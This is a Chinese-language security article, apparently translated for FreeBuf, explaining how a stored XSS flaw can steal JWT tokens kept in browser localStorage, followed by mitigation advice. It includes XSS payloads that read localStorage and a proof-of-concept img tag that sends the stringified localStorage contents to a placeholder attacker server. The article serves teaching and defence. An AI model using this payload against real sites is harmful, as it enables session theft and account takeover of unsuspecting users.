摘要:在近期的一次研究中,我發現了一個存儲型XSS漏洞,而目標應用程序正好使用了JWT來作爲身份驗證機制的實現。然後再將JWT存儲在localStorage中。

寫在前面的話

在過去的幾個月時間裏,我遇到過一些JSON Web令牌(JWT)的不安全實現,而這些不安全實現最終導致了目標Web應用程序遭到黑客入侵。在某些場景中,攻擊者可以利用錯誤配置並通過XSS漏洞來竊取管理員令牌,或僞造用戶註冊過程中的用戶協議並利用管理員權限創建標準用戶賬號。

JWT與傳統的Cookie有所不同,它們雖然很相似,但很多人會錯誤地認爲攻擊者無法使用這種方式來對JWT進行攻擊。

在這篇文章中,我們將對JWT進行簡單介紹,以及JWT和傳統Cookie之間的區別,並演示如何竊取JWT,最後還會給出相應的安全解決方案。

JSON Web令牌是什麼?

簡而言之,JWT,即JSON Web令牌,它可以幫助用戶快速簡單地完成系統的身份驗證(一般使用開源庫實現驗證機制)。JWT由以下三個部分組成,每個部分由“.”分隔:

header.payload.signature

header表明所使用的哈希算法,payload中包含與用戶相關的信息(例如角色和訪問權限等),signature用於確保消息完整性。

在大多數配置中,當用戶提供了有效憑證時,這個令牌會在HTTP頭中進行設置,並用於後續身份授權,這一點跟標準的會話Cookie類似。

最近這幾年,社區曝光過很多JWT的相關漏洞,而且也有很多技術文章對這些漏洞進行過討論了,比如說算法攻擊以及通過Payload篡改來實現提權等等。那麼在這篇文章中,我並不打算過多去討論JWT架構以及之前的相關漏洞。

如何恢復傳統Cookie和JWT

Cookie的作用就在於,它可以向一個有狀態協議(例如HTTP)提供相關的狀態信息。我們舉一個簡單的例子,會話Cookie就可以用來追蹤一款Web應用程序上經過身份驗證的用戶會話。爲了實現這一點,會話的記錄必須同時存在於服務器端和客戶端上。

從JWT的角度來看,令牌可以是無狀態的。也就是說,服務器端是不會存儲會話記錄的。相反,每一個發送至服務器端的請求都會包含一個用戶令牌,服務器會根據令牌信息來驗證用戶的身份權限。

Cookie和JWT都遵循相似的事件流來請求和接收會話令牌,當用戶提供有效的身份憑證之後,服務器會返回一個包含了會話令牌的響應。不同之處就在於,Cookie是使用SET-COOKIE命令設置的,但JWT一般是在AUTHORIZATION頭中設置的。

它們存儲在哪裏?

我們用默認配置來進行總結:

localStorage / sessionStorage

默認情況下,Web了瀏覽器容器幾乎是相同的。關閉瀏覽器之後,localStorage將保持不變,sessionStorage僅持續到瀏覽器關閉之前。因此,只能在客戶端讀取到,而不能在服務器端讀取到,而且只能通過JavaScript讀取到。

Cookie

我們的目的是要讓發送的信息在服務器端讀取和驗證。如果配置了正確的保護機制,惡意JavaScript將很難讀取到這些數據。

傳統Cookie保護

一般來說,攻擊者會通過XSS漏洞來攻擊身份認證Cookie,然後嘗試劫持目標的管理員會話,並最終通過攻擊包含漏洞的Web服務器打開進入目標網絡系統的“大門”,

我們可以爲存儲在Cookie容器中的數據設置Header參數,除了解決底層XSS問題之外,有HttpOnly、secure、path和domain等標誌可以提供不同級別的安全保護。然後再將JWT存儲在localStorage中……這就像將密碼存儲在文本文件中一樣。

如何通過XSS漏洞竊取localStorage中的JWT

在近期的一次研究中,我發現了一個存儲型XSS漏洞,而目標應用程序正好使用了JWT來作爲身份驗證機制的實現。Payload設置成功後,任何訪問了該Web頁面的用戶其JWT都會被髮送給攻擊者。

一開始,我無法通過XSS來獲取JWT。主要是因爲每個JWT都存儲有唯一的標識符/鍵,所以在不知道這些信息的情況下是無法調用它的。比如說,在JavaScript警告框中顯示標準Cookie(無保護機制)的典型方法如下:

<script>alert(document.cookie)</script>

因爲localStorage中的數據會存儲在一個數組中,它無法通過類似方法來調用或讀取:

<script>alert(localStorage)</script>

但是,我們可以通過使用getItem()函數來獲取存儲在localStorage或sessionStorage中的每一個對象:

<script>alert(localStorage.getItem(‘key’))</script>

參考樣例:

<script>alert(localStorage.getItem(‘ServiceProvider.kdciaasdkfaeanfaegfpe23.username@company.com.accessToken’))</script>

如上圖所示,我們還需要弄清楚“key”這個唯一標識符是什麼:

我猜有的人可能已經想用暴力破解的方式了吧,或者寫一個JavaScript腳本來迭代localStorage中的每一個對象。這裏我們可以使用JSON.Stringify來實現,這個函數可以將localStorage中存儲的內容轉換爲字符串並繞過這種障礙:

<script>alert(JSON.stringify(localStorage))</script>

下面給出的是利用XSS竊取JWT的完整PoC:

<img src=’https://<attacker-server>/yikes?jwt=’+JSON.stringify(localStorage);’--!>

根據不同目標系統的實現機制,上述的PoC可能會給我們提供IdToken、accessToken或其他相關的令牌。IdToken可以用於身份驗證並僞裝成有問題的用戶,其本質上是帳戶接管,而accessToken可用身份驗證端點來生成一個的全新IdToken。

這裏最大的問題就在於,我們無法將傳統的Cookie安全標誌應用到localStorage中存儲的項。

緩解方案

 1、永遠不要在localStorage中存儲任何敏感信息,比如說JWT或其他關鍵的憑據信息。localStorage的目的是通過保存網站狀態和設置來爲用戶提供更好的體驗度。
 2、可以考慮使用Cookie頭。
 3、設置Cookie頭保護機制。
 4、永遠不要在頁面、URL以及其他源代碼中顯示令牌。

* 參考來源: medium ,FB小編Alpha_h4ck編譯,轉載請註明來自FreeBuf.COM

相關文章